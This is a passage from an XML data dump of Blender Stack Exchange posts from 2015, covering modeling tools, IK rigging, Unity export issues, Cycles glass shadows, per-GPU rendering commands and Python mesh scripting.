line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my_variable = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;can be used in your original script as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import my_module&#xA;&#xA;def my_func():&#xA;    my_module.my_var = 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where the my_var will be remembered during whole Blender session and finally the third, little-extreme but always-working option is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f = open(&quot;C:\my_global_variable.txt&quot;, 'r')&#xA;my_global_variable = int(f.readline())&#xA;f.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14371" LastEditorUserId="3401" LastEditDate="2015-12-22T17:47:50.593" LastActivityDate="2015-12-22T17:47:50.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30861" PostTypeId="2" ParentId="30318" CreationDate="2015-05-14T17:55:10.343" Score="4" Body="&lt;p&gt;As has been mentioned in the other answer, the animations of the separate objects are still linked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see this if you go to the 'Dopesheet' and change the view mode to 'Action Editor'. The action datablock, which stores the animation, has '13' next to it showing that all 13 characters of text are using this shared animation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/50247.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make all the objects animations separate you can select all the objects in the 3D view and do &lt;kbd&gt;U&lt;/kbd&gt;&gt; &lt;em&gt;Object Animation&lt;/em&gt;. Now you can edit all the animations separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also do this individually by clicking on the '13' next to the action name, which creates a copy of the animation data, but you would have to do this on each object.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-05-14T17:55:10.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30862" PostTypeId="2" ParentId="30858" CreationDate="2015-05-14T19:24:13.473" Score="2" Body="&lt;p&gt;Actually this is not a bug, this is how it works. Creasing just &quot;pulls&quot; edges on subdivided surfaces towards it's original location (without subsurf) so it's natural.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please watch this video about 3 different methods regarding the subject:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=nBkwodrQq_4&quot; rel=&quot;nofollow&quot;&gt;Tips for Creating Sharp Edges While Modeling&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I may have not been clear enough why that artifact occurs. It's because you're not creasing the edge NEAR the creased one (in the middle which you want to be rounded) and so there is a &quot;jump&quot; between a 100% creased edge and a non-creased edge.&lt;/p&gt;&#xA;" OwnerUserId="14330" LastEditorUserId="14330" LastEditDate="2015-05-14T19:34:47.267" LastActivityDate="2015-05-14T19:34:47.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30863" PostTypeId="1" AcceptedAnswerId="30921" CreationDate="2015-05-14T19:33:14.057" Score="3" ViewCount="3662" Body="&lt;p&gt;After I've joined 3 meshes into a single mesh with ctrl+j, part of it becomes transparent after I import it to Unity (see left side of the image). What could cause this and how can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/22Vcl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13069" LastEditorUserId="13069" LastEditDate="2015-05-14T20:15:35.353" LastActivityDate="2015-05-16T05:38:09.260" Title="Problem after joining meshes" Tags="&lt;mesh&gt;&lt;transparency&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30865" PostTypeId="2" ParentId="30854" CreationDate="2015-05-14T20:20:25.693" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Texture Map image to Plane01.  Shrink Wrap to Main Screen.  Assuming no volumetric Lighting.  No UV project modifier.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Reflection.  In cycles the surface can be dominantly glossy and barely diffuse.  Light Can be colored by texture.  Light is set to Not Camera Ray Visible. In the range of projector plane near parallel to continuous screen plane near parallel to view.  No UV project modifier.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;UV project modifier.  Split the mesh object into multiple mesh objects&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;UV project modifier. Place a second mesh to cover the first&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Barely tolerable if the situation permits.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-14T22:08:05.090" LastActivityDate="2015-05-14T22:08:05.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30867" PostTypeId="1" AcceptedAnswerId="30868" CreationDate="2015-05-14T21:56:02.993" Score="2" ViewCount="229" Body="&lt;p&gt;I am trying to understand how the Simple Deform / Bend modifier works. I understand that the Bend modifier only works around the Z axis. What I am trying to figure out is how to have an object bend around the Y (or X) axis without having to use an Empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found an example of what I am trying to accomplish here:&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?350541-MotionTool-Dev-Thread/page2&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?350541-MotionTool-Dev-Thread/page2&lt;/a&gt; and the direct link to the blend file is &lt;a href=&quot;https://dl.dropboxusercontent.com/u/2086432/Motion_Tool_Testing.zip&quot; rel=&quot;nofollow&quot;&gt;https://dl.dropboxusercontent.com/u/2086432/Motion_Tool_Testing.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The object &quot;Deelis&quot; (in the plank.blend file) is bending on the Y axis with no empty when the Simple Deform&gt;Deform&gt;Angle is changed. How is this possible? I can't figure out how to reproduce this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Bryson&lt;/p&gt;&#xA;" OwnerUserId="9504" LastActivityDate="2015-11-11T01:57:33.000" Title="Without using an Empty, how is it possible to have an object bend on the Y (or X) world axis using the Simple Deform modifier?" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30868" PostTypeId="2" ParentId="30867" CreationDate="2015-05-14T22:12:05.223" Score="0" Body="&lt;p&gt;I figured it out. In Object Mode, rotate the plank on its side by -90 degrees in the X axis, freeze rotation and then rotate it 90 degrees in the X axis again.&lt;/p&gt;&#xA;" OwnerUserId="9504" LastActivityDate="2015-05-14T22:12:05.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30869" PostTypeId="1" AcceptedAnswerId="30897" CreationDate="2015-05-14T22:24:31.893" Score="1" ViewCount="354" Body="&lt;p&gt;I've seen questions and videos around the place on how to do these, but all the final products are exactly what I do not need: a plane with the picture of a bullet hole. If I've done that, what would happen if I shoot the very edge of an object? The picture would be sticking out in the middle of the air! Also, if I hit a round object or an object with curves, the same outcome would occur. I need a type of system where the bullet hole that is added can actually &quot;wrap&quot; the object it hits. For example, if I hit a corner of a cube, the bullet hole image should be on both sides of the cube. Also, If I hit an object on an area that has curves, the bullet hole should be curved too. How can I achieve this? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-05-15T16:18:56.967" Title="Bullet holes in game engine?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30871" PostTypeId="1" CreationDate="2015-05-14T22:55:43.100" Score="2" ViewCount="2249" Body="&lt;p&gt;I wanted to be able to move the hips of a character with it's feet staying at floor level, so I've created IK bones and added constraints. It works; but then, the feet snap to the IK bone's position:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6J4sR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only need something like &quot;ground limit&quot;, to tell both feet to not sink under floor level (for example, when you move hips bone) - and I want to be able to control feet bones independently, so for example: &#xA;&quot;Ground limit&quot; bones will &lt;em&gt;always&lt;/em&gt; stay at the same floor position. When I move the foot bone, it will move independently (to be able to raise feet in air), but when I move the hips bone, the feet will be limited to &lt;em&gt;not&lt;/em&gt; go under the floor level. The only thing I need is to be able to use IK so when I move the hips downwards, the legs will bend and when I move the foot, the leg will bend - but to prevent foot bones snapping into foot IK bones position.**&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I almost did what I wanted, but still something is wrong, i've created extra hips-to-legs bones to connect legs to hips, this way it works like i want with Auto IK, but when i move one foot, hips are rotating which causes sinking another foot into ground. Here is my .blend file with this setup: pasteall.org/blend/36087 – Any ideas? :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I will precise the problem even more clearly: How to prevent a bone with IK modifier from snapping into Target object position?&lt;/p&gt;&#xA;" OwnerUserId="8335" LastEditorUserId="8335" LastEditDate="2015-05-18T13:28:14.817" LastActivityDate="2015-05-18T13:28:14.817" Title="How to make feet act as lower position limit for IK rigs" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30873" PostTypeId="1" CreationDate="2015-05-14T23:55:21.157" Score="1" ViewCount="768" Body="&lt;p&gt;I have this belt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XfrHD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it rotates by translating the object on the y axis, but that doesn't work in Unity. In Unity, since the curve is unapplied, it translates instead? also it is below the ground as well.&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="6076" LastEditDate="2015-05-15T02:36:11.187" LastActivityDate="2015-05-15T02:36:11.187" Title="How to get Unity3D to work with curve on tank track? (unapplied)" Tags="&lt;modifiers&gt;&lt;rigging&gt;&lt;bezier-curves&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30874" PostTypeId="1" AcceptedAnswerId="30883" CreationDate="2015-05-15T00:13:22.443" Score="14" ViewCount="5280" Body="&lt;p&gt;Is there a way in Blender to push faces like Sketchup does?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6K42p.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wIwoi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best I can get is doing a regular extrude and a lot of work to clean the &quot;mess&quot; up...&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gcrWj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Uxzf2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time!&lt;/p&gt;&#xA;" OwnerUserId="5042" LastEditorUserId="5426" LastEditDate="2015-05-15T18:22:57.807" LastActivityDate="2020-09-04T18:32:58.443" Title="Push Faces Like Sketchup" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;workflow&gt;&lt;editing&gt;" AnswerCount="5" CommentCount="4" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30877" PostTypeId="1" CreationDate="2015-05-15T03:52:23.290" Score="1" ViewCount="180" Body="&lt;p&gt;I am trying to create a game. My charaters other motions work like wasd stuff but jump doesnt work, yet it has the jump button shaded dark so please help&lt;/p&gt;&#xA;" OwnerUserId="14380" LastActivityDate="2017-10-06T18:45:56.783" Title="Jump actuator not working" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30878" PostTypeId="2" ParentId="30874" CreationDate="2015-05-15T07:09:48.080" Score="7" Body="&lt;h3&gt;edit&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The example you show is really the main scenario that produces different results in terms of Push/Pull vs Extrude. I &lt;a href=&quot;https://blender.stackexchange.com/a/30947/47&quot;&gt;believe mano-wii's answer&lt;/a&gt; &#xA;is as close as you'll get with the least amount of effort using the default tools. As a former SketchUp user I sympathize with this question. At the moment there is no built-in feature that can push geometry that way and remove the degenerate geometry. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Original answer&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Short:&lt;/strong&gt; Nope, nothing readily available that I'm aware of (may 2015). But I did start coding something like it, after reading the question. See below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Long:&lt;/strong&gt; Ofcourse! code once use forever. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bH7hw.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A fun thing about SketchUp and Blender is that they both have a scripting API. If you really want a feature code it. I'm suprised that searches come up dry with solution, but wet with exactly the same questions ( &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?160317-sketchup-like-push-pull-followup-or-efficient-method&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?160317-sketchup-like-push-pull-followup-or-efficient-method&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though the term 'patented behaviour' is freely thrown around I'm not sure it applies to the concept but rather the exact steps of an algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another interesting scenario is:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NwBmu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's &lt;a href=&quot;https://github.com/zeffii/BlenderBooleanPush/tree/master&quot; rel=&quot;nofollow noreferrer&quot;&gt;a work in progress script / addon&lt;/a&gt;, that behaves like a boolean carve, it even carves straight through if needed. Still unrefined code, testers welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yQu6G.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-05-17T07:23:21.520" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30879" PostTypeId="2" ParentId="30858" CreationDate="2015-05-15T08:05:35.677" Score="2" Body="&lt;p&gt;I would use control loops for this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;r&lt;/kbd&gt; activates the tool and clicking once moves it into Slide mode. Click again or press enter to set the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can double tap &lt;kbd&gt;g&lt;/kbd&gt; to slide loops after they have been added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FrvsF.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing the loops again is just as easy as adding them.  Press &lt;kbd&gt;x&lt;/kbd&gt; to open the Delete menu and press &lt;kbd&gt;g&lt;/kbd&gt; to delete any loops that are selected.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3FHQt.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deleting loops this way preserves a model's UV Coordinates, if it has any, so textures that have been baked will still be valid for the model after it has been reduced.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-05-15T11:31:11.200" LastActivityDate="2015-05-15T11:31:11.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30880" PostTypeId="1" CreationDate="2015-05-15T09:15:18.363" Score="1" ViewCount="1689" Body="&lt;p&gt;How do i make this visible?.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every tutorial I see, it is automatic. But my scene is not mine, aparently they made it invisible, but I want to see how it is positioned and I need it to be displayed in the viewport with rendered option on.&lt;/p&gt;&#xA;" OwnerUserId="14131" LastActivityDate="2018-08-27T10:07:44.947" Title="Background environment texture not rendered in viewport or final render" Tags="&lt;rendering&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30881" PostTypeId="1" AcceptedAnswerId="30913" CreationDate="2015-05-15T09:43:53.163" Score="38" ViewCount="91094" Body="&lt;p&gt;&lt;br&gt;&#xA;I got a problem with pose mode. &lt;br&gt;&#xA;Like the heading says, I haven't found yet a possibility to &lt;strong&gt;reset the already transformed armature so that it exactly does look like the rest position&lt;/strong&gt; (though it is still in pose position). &lt;br&gt; &#xA;Is there any kind of shortcuts or tricks to do that? &lt;/p&gt;&#xA;" OwnerUserId="14382" LastActivityDate="2021-03-21T04:54:16.883" Title="Pose Mode: How to reset transformed armature to its rest position?" Tags="&lt;armature&gt;&lt;transforms&gt;" AnswerCount="6" CommentCount="1" FavoriteCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="30882" PostTypeId="1" AcceptedAnswerId="30900" CreationDate="2015-05-15T11:26:41.940" Score="16" ViewCount="14463" Body="&lt;p&gt;I created a glass cone with black seams (the seams are a diffuse not transparent material).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/If0kK.jpg&quot; alt=&quot;render with solid shadow&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I shine light on it, the cone casts a solid shadow. Why is this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have a (semi) transparent shadow cast from the glass&#xA;and a full shadow from the seams.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the link where you can (hopefully) download the blend file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B1B3fCpzacVibEE4cDRITV96TzA/view?usp=sharing&quot; rel=&quot;noreferrer&quot;&gt;glass cone&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13811" LastEditorUserId="3078" LastEditDate="2015-05-16T13:30:09.440" LastActivityDate="2017-01-08T16:16:07.640" Title="Why is this glass Cycles material casting solid shadows?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;transparency&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30883" PostTypeId="2" ParentId="30874" CreationDate="2015-05-15T11:27:50.460" Score="13" Body="&lt;p&gt;The &lt;strong&gt;&lt;em&gt;Rip Fill&lt;/em&gt;&lt;/strong&gt; tool comes close but it still requires a bit of cleanup to remove hidden faces.&lt;br&gt;&#xA;It can be accessed either by pressing &lt;kbd&gt;space&lt;/kbd&gt; and typing &quot;rip fill&quot;, or you can use the keyboard shortcut &lt;kbd&gt;ALT&lt;/kbd&gt;+&lt;kbd&gt;v&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example you posted, you can now press either &lt;kbd&gt;x&lt;/kbd&gt;, &lt;kbd&gt;y&lt;/kbd&gt;, or &lt;kbd&gt;z&lt;/kbd&gt; to constrain the movement to whatever axis is appropriate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1e6QF.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The squashed and hidden faces may cause you problems so you can remove them by first using &lt;strong&gt;&lt;em&gt;Vertex Connect Path&lt;/em&gt;&lt;/strong&gt; ,&lt;kbd&gt;j&lt;/kbd&gt;, and now &lt;strong&gt;&lt;em&gt;Remove Doubles&lt;/em&gt;&lt;/strong&gt; should collapse them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2jh8t.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the nGons, you can select the faces and press &lt;kbd&gt;f&lt;/kbd&gt; for &lt;strong&gt;&lt;em&gt;Make Face&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YCrum.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the model is at some arbitrary angle,  you can set the &lt;strong&gt;&lt;em&gt;Transform Orientation&lt;/em&gt;&lt;/strong&gt; to &lt;strong&gt;&lt;em&gt;Normal&lt;/em&gt;&lt;/strong&gt; and then double tap &lt;kbd&gt;z&lt;/kbd&gt; to move the face along its normal.&lt;br&gt;&#xA;If you only tap &lt;kbd&gt;z&lt;/kbd&gt; once, the movement will still be constrained to the Global axis, the second tap activates the custom Transform Orientation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2z1NU.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-05-15T13:26:19.643" LastActivityDate="2015-05-15T13:26:19.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30885" PostTypeId="1" CreationDate="2015-05-15T13:07:23.973" Score="10" ViewCount="7735" Body="&lt;p&gt;I tried to repeat &lt;a href=&quot;https://www.youtube.com/watch?v=DpIXqAepfxY&quot;&gt;this tutorial&lt;/a&gt;, loading my own MP4 file. After clicking &quot;open&quot; in the movie clip editor and picking the file, it didn't seem to load and here's what I got in the terminal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;not an anim: /path/to/file.mp4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the same time, &lt;code&gt;file&lt;/code&gt; says it's &lt;code&gt;ISO Media, MP4 Base Media v1 [IS0 14496-12:2003]&lt;/code&gt;. Is there any preprocessing I should do before I import it to Blender? How could I do it with &lt;code&gt;mencoder&lt;/code&gt; or &lt;code&gt;ffmpeg&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="14384" LastActivityDate="2018-03-25T03:32:54.003" Title="How do I load an MP4 file with Blender 2.74 under Fedora?" Tags="&lt;video&gt;" AnswerCount="3" CommentCount="12" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30887" PostTypeId="2" ParentId="30882" CreationDate="2015-05-15T13:40:43.973" Score="6" Body="&lt;p&gt;You need to put a &lt;em&gt;solidify&lt;/em&gt; modifier on your glass pieces. Or make them thick otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way there will be no back-facing polygons for each glass piece, so Cycles doesn't see one huge solid glass pyramid with the inside not empty as it does currently. Such glass pyramid would, in real live, produce this shadow.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="3078" LastEditDate="2015-05-16T13:33:27.803" LastActivityDate="2015-05-16T13:33:27.803" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30888" PostTypeId="1" AcceptedAnswerId="31205" CreationDate="2015-05-15T14:55:23.030" Score="4" ViewCount="1248" Body="&lt;p&gt;I've got a Ubuntu 14.04 headless server running right now for 3d rendering on Blender's Cycles rendering engine, across 4 GPUs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Specs:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(4) ASUS GTX 970s, 4GB&#xA;1300W PSU&#xA;Core i7&#xA;16GB RAM&#xA;250GB SSD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Animations are rendering beautifully across the 4 GPUs in Cycles, but my question is concerning parallelizing processes to those cards:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is it possible for me to have 4 separate blender processes running in parallel targeting one specific GPU each?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running all 4 cards as &quot;one&quot; card (&lt;code&gt;CUDA_MULTI_0&lt;/code&gt; in a .py setup) is not actually a full 4x speed increase over running just one card, though it is still quite fast, and amazing i might add having come from mostly CPU rendering. Anyway, it turns out to be more like 3x speed, and i want to maximize render times further by rendering one animation frame per card in parallel, giving me a true 4x speed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically, it should just be a matter of running 4 separate blender processes on the command line, while having python scripts setup to target specific cards like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;math-container&quot;&gt;$ blender -b file.blend -P cuda1.py -s 1 -e 10 -a &amp;amp;&#xA;$&lt;/span&gt; blender -b file.blend -P cuda2.py -s 11 -e 20 -a &amp;amp;&#xA;&lt;span class=&quot;math-container&quot;&gt;$ blender -b file.blend -P cuda3.py -s 21 -e 30 -a &amp;amp;&#xA;$&lt;/span&gt; blender -b file.blend -P cuda4.py -s 22 -e 40 -a &amp;amp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the cuda[x].py scripts look like this, where each one is targeting a specific CUDA device:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, _cycles&#xA;&#xA;bpy.context.scene.cycles.device = 'GPU'&#xA;bpy.context.user_preferences.system.compute_device_type = 'CUDA'&#xA;&#xA;# this is different in each cuda[x].py file, CUDA_0, CUDA_1, CUDA_2, CUDA_3&#xA;bpy.context.user_preferences.system.compute_device = 'CUDA_0'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, this all technically works right now, but here's the big issue i'm trying to figure out. When i do this, only the first blender process gets GPU access. Processes 2-4 default back the CPU, ignoring the GPU instructions. All four cards work just fine, and as I mentioned, one blender process using the &lt;code&gt;CUDA_MULTI_0&lt;/code&gt; device in the python script is leveraging all four cards as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some known limitation to blender, or CUDA/NVIDIA for that matter, that only lets a single processes access any or all the GPUs at one time, that maybe i'm just not aware of?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on this is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="14387" LastEditorUserId="14387" LastEditDate="2019-10-08T17:00:50.563" LastActivityDate="2019-10-08T17:03:28.920" Title="Multiple Blender processes for multiple GPUs?" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="30889" PostTypeId="1" CreationDate="2015-05-15T14:57:13.457" Score="1" ViewCount="152" Body="&lt;p&gt;Is it possible?&#xA;I'm talking about this scaling method from Unity, where you press &lt;kbd&gt;T&lt;/kbd&gt; and then you can grab the edge of the object and drag it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oqqfb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MYeGj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14389" LastEditorUserId="241" LastEditDate="2015-05-15T16:02:57.283" LastActivityDate="2015-05-15T16:02:57.283" Title="Resize object in Blender as in Unity" Tags="&lt;transforms&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30890" PostTypeId="1" CreationDate="2015-05-13T16:47:19.290" Score="2" ViewCount="4844" Body="&lt;p&gt;I want to generate a mesh with this command I found in the API:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mesh.from_pydata(verts,[],currentFace)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this gives me an Error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;File &quot;C:\Program Files\Blender Foundation\Blender\2.72\scripts\modules\bpy_types.py&quot;, line 409, in from_pydata&#xA;self.loops.add(sum((len(f) for f in faces)))&#xA;File &quot;C:\Program Files\Blender Foundation\Blender\2.72\scripts\modules\bpy_types.py&quot;, line 409, in &amp;lt;genexpr&amp;gt;&#xA;self.loops.add(sum((len(f) for f in faces)))&#xA;TypeError: object of type 'int' has no len()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know why my script can not make a mesh from the variables verts and currentface, which are both lists. I also printed a line before to check their type again and whether they contain elements:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print(verts,currentFace)&#xA;&amp;gt;&amp;gt;&amp;gt;[[40.0, -10.0, 70.0], [40.0, 11.0, 80.0], [40.0, 11.0, 35.0], [40.0, -10.0, 30.0]] &#xA;&amp;gt;&amp;gt;&amp;gt;[0, 1, 2, 3]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could someone help me out? Thanks.&lt;/p&gt;&#xA;" OwnerDisplayName="Mc Midas" LastActivityDate="2015-05-15T15:42:00.460" 